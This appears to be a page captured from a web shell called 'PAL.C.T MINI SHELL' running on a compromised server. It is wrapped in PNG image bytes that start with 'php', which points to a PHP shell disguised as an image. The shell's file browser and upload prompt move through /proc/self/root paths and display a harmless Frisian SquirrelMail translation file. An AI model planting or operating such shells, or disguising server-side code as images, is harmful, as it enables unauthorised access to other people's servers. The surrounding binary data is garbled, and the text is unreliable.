php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/proc/self/root/usr/share/squirrelmail/locale/fy/LC_MESSAGES/
upload
files >> //proc/self/root/proc/self/root/usr/share/squirrelmail/locale/fy/LC_MESSAGES/advanced_settings.po

# Frisian (fy) advanced_settings Translation (SquirrelMail plugin)
# Copyright (c) 1999-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Rinse de Vries <rinsedevries@kde.nl>, 2007.
# $Id: advanced_settings.pot 11068 2006-04-20 23:31:04Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: advanced_settings\n"
"Report-Msgid-Bugs-To: Tomas Kuliavas <tokul@users.sourceforge.net>\n"
"POT-Creation-Date: 2006-04-15 09:10+0300\n"
"PO-Revision-Date: 2007-04-14 11:56+0200\n"
"Last-Translator: Rinse de Vries <rinsedevries@kde.nl>\n"
"Language-Team: Frisian <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"

#: functions.php:28
#: functions.php:48
msgid "Advanced Settings"
msgstr "Avansearre Ynstellingen"

#: functions.php:50
msgid "You can control advanced interface options here."
msgstr "HJir kinne jo de avansearre opsjes foar de interface oanpasse."

#. * Settings related to mailbox
#: options.php:30
msgid "Advanced Mailbox Options"
msgstr "Avansearre postbusopsjes"

#: options.php:35
msgid "Auto expunge"
msgstr "Automatysk opromje"

#: options.php:41
msgid "Use special folder color"
msgstr "Spesjale mapkleur brûke"

#: options.php:48
msgid "List special folders first"
msgstr "Spesjale mappen earst werjaan"

#. * Message composition options
#: options.php:55
msgid "Advanced Message Composition Options"
msgstr "Avansearre opsjes foar berjochtopstelling"

#: options.php:59
msgid "Use email priorities"
msgstr "E-mailprioriteiten brûke"

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`